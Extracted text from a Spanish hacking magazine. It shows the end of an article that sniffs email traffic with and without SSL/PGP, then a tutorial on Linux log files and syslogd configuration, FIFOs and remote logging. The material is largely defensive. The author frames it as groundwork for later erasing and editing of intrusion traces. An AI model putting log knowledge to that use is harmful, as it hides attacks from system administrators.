entrante POPS (con SSL). El camino que
seguir el correo ser:
Origen -> Access Point -> Router ->
{Internet} -> Servidor SMTP ->
{Internet} -> Servidor POPS ->
{Internet} -> Router -> Access Point > Destino

Imagen 23

Imagen 24

E x p l i c a r b r e ve m e n t e l a l e ye n d a
utilizada: en verde est marcado el
trayecto durante el cual el correo es
completamente legible para cualquiera
interesado en l; en amarillo est
marcado el trayecto durante el cual no
sabemos el grado de seguridad del
correo (aunque posiblemente sea bajo
o nulo); y en rojo est marcado el
trayecto durante el cual el correo es
ilegible para cualquiera (excepto para
nosotros en el destino) y es por tanto
seguro.
Al usar correo SMTP sin cifrar, el correo
hasta llegar al servidor viaja como una
postal, completamente visible. Desde
el servidor SMTP hasta el servidor POPS
no conocemos el grado de seguridad

23

Ahora probaremos a mandar un correo


electrnico cifrado con PGP desde una
cuenta con correo saliente SMTP hasta
una cuenta con correo entrante SMTP
(ambas sin SSL). El esquema es el
siguiente:
Origen -> Access Point -> Router ->
{Internet} -> Servidor SMTP ->
{Internet} -> Servidor POP ->
{Internet} -> Router -> Access Point > Destino
Capturando con Ethereal (imagen 25)
podemos observar que nicamente
podemos cotillear las cabeceras del
correo, los comandos del servidor y poco
ms, pero que el cuerpo del mensaje
aparece cifrado en forma de armadura
PGP, y de ah no podremos sacar nada.

Imagen 25
que mantienen las conexiones entre los
nodos, pero muy posiblemente sea nulo.
Desde el servidor POPS hasta nosotros,
la conexin viaja cifrada con SSL por lo
que podemos considerar que el correo
est seguro.

Ahora probaremos a enviar un correo


cifrado electrnico sin cifrar desde una
cuenta que usa SMTPS hasta una cuenta
con correo entrante POPS (ambos con
SSL). El esquema de la conexin sera
este:

En la primera flecha, la conexin entre


el origen y el AP, es donde voy a capturar
el trfico (imagen 23). Observando el
log generado por Ethereal encontramos
cosas interesantes:

Origen -> Access Point -> Router ->


{Internet} -> Servidor SMTPS ->
{Internet} -> Servidor POPS ->
{Internet} -> Router -> Access Point > Destino

Comandos del servidor: EHLO


[192.168.0.32]

Al capturar con Ethereal (imagen 24)


en el mismo punto que en el ejemplo
anterior, podemos ver que solamente
capturamos un galimatas sin sentido.
Pero existe an un punto flaco, en el
intervalo entre el servidor SMTPS y el
servidor POPS. De hecho, si el correo
fuera enviado a una cuenta que no
utilizara SSL para recibir correo, el
esquema sera el siguiente:

Cabeceras del correo: User-Agent:


Debian
Thunderbird
1.0.2
(X11/20050331)
El propio cuerpo del correo: Probando
correo sin cifrar...
Como vemos, el correo entero est "al
desnudo" con este envo. Pero podra
haber sido peor... por ejemplo si el
destinatario utilizara POP sin cifrado
para la recepcin del mensaje:
Origen -> Access Point -> Router ->
{Internet} -> Servidor SMTP ->
{Internet} -> Servidor POP ->
{Internet} -> Router -> Access Point > Destino
Lo que en la prctica significa una postal
desde su origen a su destino.

24

Origen -> Access Point -> Router ->


{Internet} -> Servidor SMTPS ->
{Internet} -> Servidor POP ->
{Internet} -> Router -> Access Point > Destino
Como vemos, SSL ofrece seguridad,
pero solamente dentro de su
"jurisdiccin", es decir, que ms all de
la conexin entre cliente y servidor, la
cosa queda a merced de los medios que
conecten los servidores.

Como veris, hemos eliminado hasta la


zona muerta que cubra la conexin
entre los servidores de correo y que
h a s t a a h o ra n o h a b a m o s p o d i d o
controlar por ningn medio. Adems, al
enviar correos cifrados con PGP, aunque
el destinatario utilice servidores sin
conexiones seguras, el correo seguir
siendo ilegible.
Existe alguna opcin ms segura? S,
cifrar correos con PGP y usar servidores
con conexiones SSL, de forma que ni
t a n s i q u i e ra l a s c a b e c e ra s y l o s
comandos del servidor podrn ser vistos
mediante sniffers.
Espero que estos inocentes ejemplos os
hayan hecho pensar en la importancia
de utilizar los medios que estn a
nuestro alcance para aumentar nuestra
seguridad a la hora de utilizar las
funcionalidades que las nuevas
tecnologas nos brindan.
Con esto terminamos el artculo de este
nmero. Como siempre, si existen dudas
y/o problemas con cualquier prctica o
elemento terico, no tenis ms que
hacernos una visita en el foro, donde
os recibiremos encantados. Os espero
en el prximo nmero, cuya temtica...
es una sorpresa. :-P
Ramiro C.G. (alias Death Master)

Muy buenas, es la primera vez que escribo para la revista, espero que os guste y no quedis
decepcionados :-). Si creis que algo no est bien, veis alguna errata o tenis alguna duda,
posteadla en el foro (http://www.hackxcrack.com), y se har lo que se pueda :-p.
Este artculo es bastante terico, siento que sea as, pero es que la teora es necesaria para
luego saber aplicarla a la prctica, el borrado/edicin de huellas :-). Aun as espero que sea
lo ms ameno posible ;)
Como partimos desde cero, voy a empezar explicando lo ms bsico... Si ya sabes lo que son
los logs y donde se guardan, sltate este apartado. Si ya crees saberlo todo sobre los logs,
pasa al siguiente artculo! :P

Bien, supongo que la mayora ya lo sabris, o habris odo


hablar de ellos, pero siguiendo la filosofa de la revista
vamos a explicarlo todo paso a paso.
Los ficheros log se encargan de registrar los eventos que
ocurren en el sistema, aplicaciones incluidas. Qu eventos?
Pueden ser accesos al sistema, mensajes de informacin
del kernel, el trfico capturado por un sniffer e incluso los
famosos logs del IRC, TODO esto son ficheros log, o en
cristiano, ficheros de registro. Normalmente ficheros log
lo solemos recortar a simplemente logs, as que de aqu
en adelante me referir a ellos como logs ;)
El usuario domstico suele pensar que los logs no tienen
ninguna utilidad, o que para qu los van a revisar si a l
no le van a hackear... O simplemente no sabe de su
e x i s t e n c i a . . . B i e n , y o n o s o y n i n g n Sy s A d m i n
(Administrador de Sistemas) pero en alguna ocasin me
han solucionado ms de un problema. Hace algn tiempo
tenamos una pgina de un clan del Age of Empires, con
PHP-Nuke instalado, haba pique entre clanes y un buen

da la pgina apareci defaceada. Gracias a los logs que


me permita ver mi hosting, para ser ms concretos los
de Apache (access.log) pude averiguar la IP del juanker
(no, El_JuanKer no fue :D) que nos haba fastidiado, que
result ser uno de otro clan. No pudimos hacer nada
legalmente, pero bueno :P. Esto no deja de ser una
ancdota, pero es para que veis que los logs s que tienen
su utilidad, incluso para los que no son administradores
de sistemas.
Para los SysAdmins es obligatorio revisar los logs! Si
eres SysAdmin y no revisas los logs... tirn de orejas y
a partir de ahora a revisarlos!
Ficheros logs hay de dos tipos, los de texto plano y los
binarios, que dependen de aplicaciones externas para
ver la informacin que contienen.

En general, se pueden guardar donde el usuario


quiera, excepto algunas aplicaciones que los guarda
donde a ella le da la gana, pero casi siempre nos dejarn

25

/var/log/daemon.log: Contiene los


logs de los demonios que se cargan en
el sistema.
/var/log/mail.log: En caso de tener
un servidor SMTP en el equipo, nos
muestra informacin de todos los
mensajes que entran y salen de nuestro
servidor.
/var/log/boot.log: Contiene los
mensajes de arranque del sistema.

Captura del contenido del directorio /var/log de mi Ubuntu.


elegir la ruta donde guardar los logs.
Por ejemplo, en el snort aadimos el
parmetro -l /ruta/de/logueo al
ejecutarlo y lo guardar en la ruta que
le hayamos indicado, o tambin hay
algunos programas que en la compilacin
se puede especificar la ruta de los logs.
El demonio Syslogd tambin maneja las
rutas de logueo, pero esto lo veremos
ms adelante, en el apartado de
Syslogd.
Como hemos dicho en este ltimo
prrafo, los logs se pueden guardar
donde el usuario quiera, pero
normalmente se usa un directorio
estndar para guardarlos, el /var/log.
Dentro de este directorio suelen estar
todos los logs del sistema por defecto.
Algunas distros de GNU/LiNUX usan otro
directorio, el /var/adm, y no me
preguntis porque :P.(figura 1)

Ahora vamos a entrar en materia ya...


Vamos a ver los archivos log ms
comunes de GNU/Linux y UniX en
general, junto a una breve descripcin.
Puede que algunos de los logs que
nombro no aparezcan en vuestra distro...
al menos por defecto. Ah ya no me
puedo meter, cada distro es un mundo,
voy a nombrar los que son ms vistos
en la mayora de distros y Unix en

26

Figura 1

general, si alguno no aparece no te


preocupes, sigue leyendo ;)
Los he dividido en ficheros log de texto
plano y binarios:

/var/log/syslog: En este fichero log


se almacenan todos los logs por defecto.
En teora es el ms importante, aqu
estar TODO lo que busquemos, si no
est en ningn otro fichero log estar
aqu... Pero esto lo podemos cambiar,
en el apartado de syslogd lo veremos.
/var/log/messages:
Contiene
mensajes del sistema, no es un log
alerta, es ms bien informativo. Puede
venir bien para arreglar posibles
problemas en el sistema.
/var/log/secure: En este fichero estn
los logs de todas las conexiones que se
realizan hacia nuestra mquina.
/var/log/auth.log: Contiene el
registro de todas las autentificaciones
en el sistema, tanto las buenas como
las fallidas.
/var/log/debug: Aqu es donde se
almacena la informacin de depuracin
de los programas que ejecutamos en el
sistema. Esta informacin la enva el
ncleo del sistema (Kernel) o bien los
propios programas.
/var/log/kern.log: Aqu estn los
mensajes que vienen del kernel.

/var/log/loginlog: Este fichero log


contiene los registros de intentos de
login fallidos. Solo se registran si se
han realizado 5 o ms intentos fallidos,
aunque esto se puede cambiar en el
archivo /etc/default/login en la entrada
RETRIES, modificando el nmero que
salga por el que queris.
/var/log/sulog: Contiene informacin
acerca de las ejecuciones de la orden
su. Indica la fecha, la hora, el usuario
que lanza el comando su y el login que
adopta, la terminal asociada y si se ha
realizado con xito (+) o fracaso (-).
En algunas distros Linux es necesario
editar el fichero /etc/login.defs y marcar
que s queremos loguear los registros
de su.
$HOME/.bash_history: Mmm... este
log se suele pasar por alto, pero puede
tener informacin sensible, lo que
contiene este fichero es un historial de
todos los comandos que hemos
ejecutado en la shell BASH... El $HOME
quiere decir que est en la carpeta home
d e l u s u a r i o, e n m i c a s o e s t e n
/home/ivan/.bash_history.
$HOME/.mysql_history: Este tambin
es muy peligroso, solo si est instalado
el cliente MySQL encontraremos este
fichero log. Contiene todas las rdenes
introducidas en el cliente mysql, por
ejemplo, si introducs una orden para
cambiar la contrasea de root de MySQL,
aqu quedar grabada esa rden... Lo
del $HOME es igual que en el log
anterior.

/var/log/wtmp: Almacena toda la


informacin de conexiones y desconexiones al sistema.

La estructura de este fichero es utmp.


Contiene informacin como el nombre
de usuario, por donde accede, el origen
y la hora de acceso. Al ser un fichero
binario, para verlo se necesita un
programa externo, en este caso, se tiene
que ejecutar el comando last.
/var/log/utmp: Contiene informacin
de todos los usuarios conectados. No
incluye los usuarios que estn
conectados a servicios como FTP, IMAP,
etc. La razn es que estos servicios no
utilizan utmp para loguear.
Como en el caso anterior y en todos los
binarios, para verlo es necesario teclear
el comando w o who, que dar una
salida con los logins de los usuarios
conectados, la terminal por la que se
han conectado, la fecha y la hora.
/var/log/lastlog: Contiene la fecha y
la hora de la ltima conexin de cada
usuario existente en el sistema. Si un
usuario nunca se ha logueado, en vez
de salir la fecha y la hora de la ltima
conexin saldr el mensaje **Nunca
ha entrado**. El visor para ver la
informacin de este log es el comando
lastlog.
/var/log/faillog: Contiene los intentos
de login fallidos que se han hecho en el
sistema. Es muy parecido al anterior,
pero en vez de mostrar los ltimos
accesos, muestra los intentos de login
fallidos. El visor para verlo es el comando
faillog.

enorme y eso no es muy recomendable


:P.
Para ver los logs es necesario ejecutar
el comando lastcomm o acctomm.
Ahora vamos a ver una de las partes
ms importantes de los logs de
GNU/Linux y UniX, del que seguro
habris odo hablar, s, me estoy
refiriendo al demonio syslogd :-p.

Qu es Syslogd? Syslogd es el demonio


de Syslog. Ahm... y qu es Syslog?
Syslog es un estndar de facto para
controlar, redireccionar y administrar
mensajes log en una red TCP/IP. El
trmino Syslog se utiliza indistintamente tanto para el protocolo syslog
como para la librera o aplicacin
encargada del envo de los mensajes.
Syslog se suele usar para la auditoria
y administracin de sistemas.
El protocolo syslog es muy simple, el
emisor de syslog enva mensajes de
texto cortos al receptor de syslog. El
receptor es el antes mencionado
Syslogd, ntese la d del final que
significa daemon (demonio). Estos
mensajes son enviados a travs del
protocolo de transporte UDP (ya se ha
hablado de UDP en la revista en los
excelentes artculos de PyC :)) en texto
plano.

Mi archivo /etc/syslog.conf

Resumiendo, Syslogd es el demonio


encargado de loguear los eventos que
ocurren en nuestro sistema.
Syslog tiene otro demonio ms aparte
de syslogd, el klogd. De momento no
lo vamos a tocar, con saber que es el
demonio que se encarga exclusivamente
de los mensajes del kernel nos basta,
de todas formas, man klogd :P
Bien, espero que haya quedado claro lo
que es Syslogd y syslog, ahora vamos
a lo fuerte, vamos a ver la configuracin del demonio Syslogd...

Bien, el demonio Syslogd se configura


a travs de reglas, como iptables,
snort... pero de diferente manera claro
;) Y Dnde se colocan estas reglas?
Pues en su archivo de configuracin,
que est por defecto en /etc/syslog.conf.
Vamos a coger nuestro editor/visualizador de texto plano preferido y vamos
a abrir el fichero de configuracin, para
ver su aspecto. Que, acojona eh?
Haceros una idea de lo que nos espera...
muahahaha! Es broma, es sencillito,
igual al principio cuesta pero no es nada
:)(figura 2)
Como vemos en el syslog.conf hay
bastantes reglas predefinidas y
comentarios (las lneas que empiezan

Figura 2

acct (o pacct): Registra los comandos


ejecutados por todos los usuarios.
Solamente los comandos, los
a r g u m e n t o s n o. F u n c i o n a s i e s t
activado el proceso Accounting, que
se activa mediante el comando accton,
y es necesario tenerlo instalado, aunque
en algunas distros ya viene por defecto.
Si no lo tenemos instalado ya sabis,
apt-get install acct && accton y si
no usis Debian o alguna basada en
sta buscis el .tar.gz y lo instalis. Este
log es bastante eficaz, por ejemplo
aunque el 'atacante' pare el proceso
acct, en el log aparecer el comando
ejecutado por el atacante para pararlo.
El nico inconveniente es que si usamos
bastante la mquina el log se har

27

por #). Lgicamente lo que a nosotros


nos interesa son las reglas :P. Vemos
que todas las reglas tienen el mismo
formato, dos campos separados por una
o varias tabulaciones. El primer campo
se llama selector y el segundo campo
accin.
El selector a su vez consta de las
facilities y las priorities, separadas
por un punto. Jarrrllll... las faciqueee??
Prioriqueee??? Que me ests contando...
Tranquil@, ahora vers :P
La accin, como su nombre indica, es
la accin a tomar cuando se cumple el
selector. Normalmente la accin es la
ruta de un archivo log, pero tambin se
puede enviar a los usuarios, a la
impresora, a otro host... Un poco ms
adelante veremos esto ;)
Ahora s, vamos a ver que es eso de las
facilities y las priorities, o en cristiano:
Las facilidades o servicios y las
prioridades, lo he puesto en ingls
porque queda ms l33t... jajaja no
hombre, lo he puesto en ingls porque
es como se les suele llamar :P
Las facilities procuran identificar el
programa que origin el/los mensaje/s
log.
Las priorities clasifican el nivel de
importancia del mensaje log.
En el fichero de configuracin vemos
que aparecen muchas palabras raras
:P Esas palabras son los tipos de facilities
y de priorities, vamos a verlos todos
con una breve explicacin:
Facilities:
kern: Estos son los logs procedentes
del kernel.
user: Son los logs generados por
procesos aleatorios del usuario.
mail: Logs del sistema de correo, en
caso de tener un servidor instalado.
daemon: Logs procedentes de los
demonios del sistema.
authpriv y auth (ste ltimo en
desuso): Logs de seguridad y del
sistema de autorizaciones.

28

syslog: Los logs generados


internamente por el demonio syslogd.

mxima, ya, ya se que no era difcil de


adivinar :P

lpr: Logs procedentes de la/s


impresora/s.

Aqu tienes un esquema que nos servir


para tener todo esto ms claro por si
no lo has entendido con tanto palabro,
tambin nos servir como referencia
durante un buen rato, as que no lo
pierdas de vista :)(figura 3)

news: Logs del sistema de noticias,


en caso de tener un servidor de news
instalado.
uucp: Logs generados por el sistema
UUCP. UUCP viene de Unix to Unix Copy,
uno de los protocolos ms antiguos y
que originalmente se utilizaba para
copiar archivos entre sistemas UniX,
pero lo poco que se utiliza actualmente
e s p a ra e nv i a r y r e c i b i r c o r r e o s
electrnicos y noticias.
cron: Logs generados por el demonio
CRON. Cron es el encargado de la
programacin de tareas peridicas, como
el comando AT de Windows.
Priorities:
debug: Logs de depuracin de un
programa.
info: Logs informativos.
notice: Logs de sucesos significativos
pero normales.
warn o warning: Logs de advertencia, como el propio nombre indica
:P
err: Logs de error.
crit: Logs que indican situaciones
crticas.
alert: Logs de alerta. Si nos
encontramos con uno de estos, es muy
importante hacer algo rpido, si no...
Ya sabes... xD
emerg: El sistema se ha vuelto
inoperable, vamos que la hemos liao.
Estn ordenados de menor a mayor
prioridad, debug es la prioridad mnima
mientras que emerg es la prioridad
mail.warn;news.warn;auth.*
kern,mail.warning
kern,mail.=warning
kern.err;kern.!=warning
*.alert

Figura 3 Esquema 1

Lo que vemos a la izquierda son los


selectores. Dentro de los selectores, en
azul tenemos las facilities, en rojo las
priorities, y en amarillo los caracteres
especiales, que ahora explicar. Si has
entendido todo lo explicado y eres buen
observador vers que en casi todas las
reglas hay 2 o ms facilities, y en
algunas dos priorities... Bueno, en los
selectores se pueden concatenar las
facilities y las priorities en una misma
lnea, si queremos por ejemplo que dos
facilities con priorities diferentes se
enven a un mismo fichero log no
tenemos ms que concatenarlos con un
punto y coma (carcter especial), como
la primera lnea. En la segunda lnea
vemos dos facilities pero no estn
separadas por punto y coma, si no por
una coma simple (otro carcter
especial), esto indica que para los dos
se usar la misma prioridad, ahora lo
veremos ms detalladamente.
Un apunte importante... cuando se
especifica una prioridad estamos
diciendo esa prioridad y sus
i n f e r i o r e s , p o r e j e m p l o , s i
especificamos la prioridad notice
registrar tambin los mensajes con
prioridad debug e info, as con todos.
Si queremos evitar esto, debemos usar
el carcter especial igual (=), como
veremos en el prximo apartado.

Los caracteres especiales nos permiten


aprovechar ms la estructura de
lasreglas, vamos a ver los tipos de
caracteres especiales que hay, su funcin
y algn ejemplo.
/var/log/messages
-/var/log/kern_mail.log
-/var/log/kern_mail_warn.log
/var/log/kern_warn_negado.log
/var/log/alerts.log

El asterisco (*): El asterisco se emplea como comodn. Cuando aparece


un asterisco quiere decir que se refiere
a todas las facilities o todas las priorities
dependiendo de la posicin en la que
aparezca. Como ejemplo vamos a la
figura 3 y vemos que la primera lnea
tiene el asterisco al final. Como est
detrs del punto que separa las facilities
de las priorities, sabemos que ese
asterisco hace de comodn para las
priorities, es decir lo que hacemos con
ese comodn es indicar Todas las
priorities. En la ltima lnea de la misma
figura vemos tambin como aparece
otro asterisco, pero esta vez delante
del punto, por lo que indica Todas las
facilities. Explicar esto es un poco
engorroso, pero una vez lo pillas es de
lo ms til, ya que el asterisco como
comodn no solo se utiliza aqu, seguro
que en la lnea de comandos lo has
utilizado ms de una vez para referirte
a un archivo cuando no sabes su nombre
completo :P
El punto y coma (;): Como dije
antes, este carcter especial se utiliza
para
concatenar
varias
facilities+priorities en una misma lnea.
Ejemplo: La primera lnea del esquema
1 aparecen 3 facilities y 3 priorities
(recuerda que el asterisco del final es
comodn ;)), como vemos estn
concatenadas mediante un punto y
coma. Como ya dije, la utilidad de
concatenar varias facilities y priorities
es la de dirigirlas a un mismo destino,
en este caso a un mismo archivo.
La coma (,): La coma sirve para
especificar a mltiples facilities una
misma prioridad. En la segunda lnea
del esquema 1 vemos como hay dos
facilities separadas por una coma y
detrs del punto la prioridad de esos
dos facilities.
El espacio ( ): El espacio indica que
no hay priorities definidas para las
facilities.
El igual (=): Con el = delante de una
prioridad indicamos que solo se
almacenen los mensajes con una
prioridad determinada, no incluyendo
sus inferiores. En la tercera lnea del
esquema 1 vemos el carcter especial
= delante de la prioridad, lo que
estamos diciendo es que se almacn los
mensajes de las facilities kern y mail

con prioridad warning y solamente


warning! :P Nada de priorities inferiores...
El signo de exclamacin (!): Con
el ! delante de la prioridad indicamos
que queremos exceptuar esa prioridad
y sus inferiores. Lo podemos combinar
con el igual, de tal forma que quede
!=, con esta combinacin lo que
hacemos es exceptuar esa prioridad
pero no sus inferiores. Como ejemplo,
en la cuarta lnea del esquema 1 vemos
como con la combinacin de estos
caracteres especiales decimos que se
logueen los mensajes del kernel con
prioridad info e inferiores pero que no
se registren los que tengan prioridad
warning exclusivamente, ya que lleva
el smbolo = combinado con !.

Siguiendo el esquema 1, vemos a la


derecha el campo accin, separado por
tabulaciones del campo selector. El
campo accin tiene en verde la accin
a hacer en caso de que se cumpla el
selector y en algunas reglas tiene un
guin (-), color turquesa. Este guin
indica que no se sincroniza cada vez
que existe una entrada en ese log, as
que si el sistema se cae podemos perder
datos. La ventaja que conseguimos con
esto es una mejora en la velocidad,
sobre todo si hay muchas aplicaciones
enviando logs a Syslogd.
Voy a poner un nuevo esquema, con
acciones que no hemos visto hasta
ahora:(figura 4)
Antes dije que la accin normalmente
era la ruta a un archivo log, pero como
tambin dije no siempre es as, podemos
enviarlo a otros medios, a continuacin
veremos todos los medios junto a una
breve explicacin de como hacerlo y un
ejemplo (como no :P):
kern,mail.info
auth.*
kern.crit
*.=alert
*.=emerg
*.warn
*.info

A un fichero log de texto plano:


Sobran las palabras creo, no? :) Lo que
hemos estado viendo todo el rato :)
A una terminal o a la consola:
Syslogd nos ofrece la posibilidad de
enviar los logs directamente a una
terminal o a la consola con la que
estamos trabajando, de forma que
podramos ver los logs in situ. La
verdad es que fastidia un poco que te
lleguen mensajitos mientras ests
listando los archivos de tu home por
ejemplo... pero seguro que los ves! :P.
En la segunda y tercera lnea del
esquema 2 vemos un ejemplo de esto,
la regla de la lnea 2 enva los logs a la
terminal 2 (tty), y la regla de la lnea
3 los enva a la consola con la que
estamos trabajando (/dev/console).
A un usuario (o a todos): Esto es
simple, se especifica solo el usuario o
los usuarios a los que queremos enviarle
los logs y se le mostrar en la consola.
Si queremos enviar los logs a todos los
usuarios, lo hacemos con el asterisco
*. En el ejemplo del esquema vemos
en la lnea 4 como enva todos los logs
del kernel con prioridad crtica a los
usuarios root e ivan. En la lnea 5
vemos como enva todos los logs con
prioridad emerg a todos los usuarios.
A la impresora: Si activamos el modo
paranoico podemos enviar los logs
directamente a la impresora, esto en
mi opinin es un poco paranoico, pero
por seguridad que no falte :P. Es similar
a enviarlos a una terminal, pero a la
impresora. En la sexta lnea del esquema
2 vemos como todos los logs con
prioridad warn e inferiores se envan al
dispositivo /dev/lp1, que viene a ser la
impresora.
A otro programa a travs de un
fichero FIFO (tubera con nombre):
Podemos enviar los logs a otro programa
a travs de un fichero FIFO (First In
First Out, lo Primero que Entra es lo
/var/log/messages
/dev/tty2
/dev/console
root, ivan
*
/dev/lp1
@nombre.del.host.remoto

Figura 4 Esquema 2

29

mkdir /var/log/pipes #creamos el directorio pipes en /var/log


mkfifo -m 600 /var/log/pipes/autentificaciones #creamos un archivo FIFO llamado autentificaciones con chmod 600
mkfifo -600 /var/log/pipes/todo #dem del anterior, pero llamado todo

Listado 1
auth.*

|/var/log/pipes/autentificaciones

*.*

|/var/log/pipes/todo

Listado 2
#!/bin/bash
/usr/bin/logcolorise.pl /var/log/pipes/todo >/dev/tty3&

Listado 3
Primero que Sale), tambin llamado
tubera con nombre o fichero de tipo
PIPE. Los ficheros FIFO son bastante
comunes en sistemas UniX, la funcin
de estos ficheros es actuar de
intermediario entre dos programas, un
programa enva los datos al fichero FIFO
y ste los almacena temporalmente,
para poder ser recogidos despus por
un segundo programa. Por ejemplo, la
salida de un programa servir de entrada
de otro programa. Cabe destacar de los
ficheros FIFO que los datos que le llegan
no se guardan en el disco duro, si no
en un buffer, cuando el segundo
programa recoge los datos se vaca ese
buffer y sigue a la espera de nuevos
datos. En nuestro caso lo que hacemos
es enviar los logs a un archivo FIFO
para que otro programa externo pueda
recogerlos y tratar con ellos. Para aclarar
esto un poco, vamos a ver
logcolorise.pl, un script en Perl que
recoger los logs de un PIPE y los
redirigir a una terminal, pero con un
cambio, formatear los logs y saldrn
de colores, para que sean ms legibles
y ms bonitos :P.
Lo primero que tenemos que hacer es
bajarnos el script logcolorise.pl, su
web oficial no va, yo lo he bajado de la
primera url que me ha salido en google,
http://linuxbrit.co.uk/downloads/logc
olorise.pl. Lo descargis con wget en
/usr/bin, y le dais permisos de ejecucin
con chmod +x /usr/bin/logcolorise.pl.
Ahora seguimos los pasos que muestro
a continuacin, siempre como root. He
puesto un comentario en cada rden
para explicar que es lo que hace cada
una, empieza por una almohadilla y est
en color turquesa, eso no lo copiis!(ver
listado 1)

30

Ahora editamos el fichero de configuracin /etc/syslog.conf y creamos las


reglas para que nos enve los logs a los
archivos FIFO que hemos creado, esto
lo hacemos poniendo el smbolo de pipe
( I ) antes de la ruta del archivo FIFO.
El carcter | se pone con Altgr+1(ver
listado 2).
Con estas reglas estamos diciendo que
enve los logs de la facility auth con
todas las prioridades al archivo FIFO
situado
en
/var/log/pipes
/autentificaciones, y que los logs que
vengan de todas las facilities con todas
las prioridades (todos los logs) los enve
al archivo FIFO /var/log/pipes/todo.
Ahora haremos un script de inicio para
que se ejecute al arrancar el SO, con
una rden que har que logcolorise.pl
lea los logs del archivo FIFO
/var/log/pipes/todo y lo imprima en la
terminal tty3 todo colorido :). Supongo
que ya sabris como hacer scripts de
inicio... No? Joe... Bueno, lo explico
para sistemas Debian o basados en l,
si usis otra distro buscis por el foro
como hacerlo o en google ;). Primero
creamos el bash-script en /etc/init.d/
con el nombre logsdecolores :P El
archivo contendr:(ver listado 3)
Supongo que lo entenderis, porque en
el prrafo anterior he dicho lo que
haca... Venga, guardamos el bash-script
y le damos permisos de ejecucin con
chmod +x /etc/init.d/logsdecolores.
Despus ejecutamos la rden updaterc.d logsdecolores defaults y si no da
ningn error ya tenemos el script para
que se ejecute al inicio del SO.
Ahora toca probar el sistema, si has

seguido todos los pasos exactamente


como he descrito saldr bien. Podemos
hacer dos cosas, reiniciar el SO para que
el mismo levante los servicios, o
levantarlos nosotros y no reiniciar... Si
habis elegido esto ltimo, aqu los pasos
para hacerlo (como root):
Miramos el PID de syslogd (ps aux | grep
syslogd), matamos el proceso (kill PID) y
volvemos a ejecutar syslogd, esto lo
hacemos para que syslogd cargue las
nuevas reglas que hemos aadido.
Despus ejecutamos el script /etc/init.d/
logsdecolores y ya lo tenemos todo preparado, ahora abrimos una consola y nos
logueamos y deslogueamos varias veces
como root, metemos la password mal
adrede... y por fin, vamos a la terminal
tty3 (Ctrl+Alt+F3) y... Ohh! Se ven los
logs coloridos!!! Si volvemos al entorno
grfico (Ctrl+Alt+F7), volvemos a
loguearnos y a desloguearnos unas cuantas
veces y vamos a la terminal tty3, veremos
que aparecen los nuevos logs, esto es
gracias a que logcolorise.pl est ejecutado
en el background a la espera de que entren
nuevos logs al fichero FIFO
/var/log/pipes/todo para recogerlos e
imprimirlos en la terminal:).
Espero que esto se haya entendido, es
muy importante, si no lo habis entendido a la primera volverlo a leer, si aun
no lo acabas de entender, no dudes en
preguntarlo en el foro, que yo o quien
sepa te responder gustosamente :) La
url del foro es: http://www. hackxcrack.
com/phpBB2/index.php.
A otro host: Esta es de las mejores
opciones. Los logs se pueden enviar a otro
host, esto nos da la gran ventaja de que
si comprometen el servidor, los logs no
estarn almacenados en l, si no en otro
host destinado exclusi-vamente al
almacenamiento de logs, aunque esto no
tiene porque ser as, pero es lo ideal para
la seguridad, ya que el atacante tendra
que compro-meter tambin el host que
almacena los logs, que podra ser un
equipo con los mnimos servicios corriendo,
una buena poltica de seguridad y un buen
firewall, vamos que sera difcil hackearlo
;)

Para que el host remoto pueda recibir


los logs tiene que ejecutar syslogd con
la opcin -r. Tambin hay que tener
en cuenta que para recibir los logs tiene
que aceptar todo lo que entre por el
puerto 514 de UDP, as que a configurar
los firewalls toca!
Tambin hay que configurar los dos syslogd
para procesar bien los logs y que vayan
a donde tienen que ir. En el servidor
tenemos que redirigir los logs al host
encargado de almacenar los logs, para
hacer esto creamos una regla cualquiera
pero en el campo accin ponemos una
arroba (@) y el nombre del host remoto,
previamente definido en /etc/hosts para
ms seguridad. En el host remoto tenemos
que crear las reglas para que acte
consecuentemente, creamos la misma
regla que en el servidor pero en el campo
accin ponemos el destino que se nos
antoje, a una terminal, a un archivo log...
Vamos a hacer una prctica para que
quede ms claro.
Tenemos un servidor de pginas web
llamado WebServer. Tambin tenemos
un host encargado de almacenar los
logs de WebServer, este host se llama
Logger y tiene la IP 192.168.0.3.
En el WEBSERVER, editamos el fichero
/etc/hosts y aadimos al final la IP del
Logger que es 192.168.0.3 y el nombre,
que viene a ser Logger, guardamos,
salimos del editor y le hacemos un ping
a Logger para ver si lo hemos hecho bien,
ping -c 2 Logger. Ahora editamos el
fichero /etc/syslog.conf y creamos una
nueva regla, por ejemplo una que enve
todos los logs de facility auth y todas las
prioridades al equipo Logger. Quedara as
el /etc/syslog.conf:(ver listado 4)
[...]
auth.*

@Logger

Listado 4
Bien, ahora vamos al host Logger y
editamos tambin el fichero /etc/
syslog.conf para que enve todo lo que
venga de auth.* al fichero /var/log/auten
tificaciones_webserver. Quedara as:(ver
listado 5)
[...]
auth.*

Listado 5

/var/log/autentificaciones_webserver

Contenido del fichero /var/log/autentificaciones_web

Paquetes de Syslogd capturados con Ethereal


Ya tenemos los dos syslogd configurados, ahora falta reiniciar syslogd, pero
en el host remoto lo iniciaremos con la
opcin -r. Como root, en el WebServer
buscamos el PID de syslogd como antes
dije que se haca, lo matamos y
volvemos a ejecutar syslogd. En el
host Logger lo mismo, pero lo
ejecutamos con syslogd -r. Y ya est!!
Ahora en el WebServer hacemos un par
de logins fallidos y no fallidos, vamos
al Logger y le hacemos un cat al fichero
/var/log/auten tificaciones_webserver
y ohh! Salen las autentificaciones,
indicando que proviene de la IP del
WebServer.
Pero, qu pasa si en el host Logger
nos autentificamos, tambin se
loguear? Pues si, pero en lugar de
poner la IP del WebServer pondr el
nombre de la mquina local:(ver figura
5)
Una cosa interesante tambin es que si
ponemos un sniffer a la escucha, cuando
hagamos logins veremos los paquetes
que el WebServer manda al Logger
:)(ver figura 6)
Esto da para algunas preguntas... No
se podran interceptar los paquetes?
Si, tanto si la red es compartida como

Figura 5

Figura 6

si es conmutada (nmero 11 de la
revista, artculo de ARP-Spoofing de
moebius)... Hay alguna manera de
evitar esto? Pues s, una solucin podra
ser unir estos dos equipos con dos
tarjetas de red aparte y cable cruzado,
y la otra podra ser cifrando los
paquetes, Cmo? Con una combinacin
de lo que hemos visto en el apartado
anterior (archivos FIFO) + SSH... Pero
no me quiero extender ms con esto,
as que si estis interesados, a google!

Podemos enviar mensajes a Syslogd con


el programa logger, puede servir si
tenemos un shellscript y queremos que
guarde logs, o si queremos hacer el
tonto un rato y simular un ataque... lo
que se os ocurra! Los logs actuarn
segn las reglas de syslogd. La sintaxis
para enviar un mensaje desde una
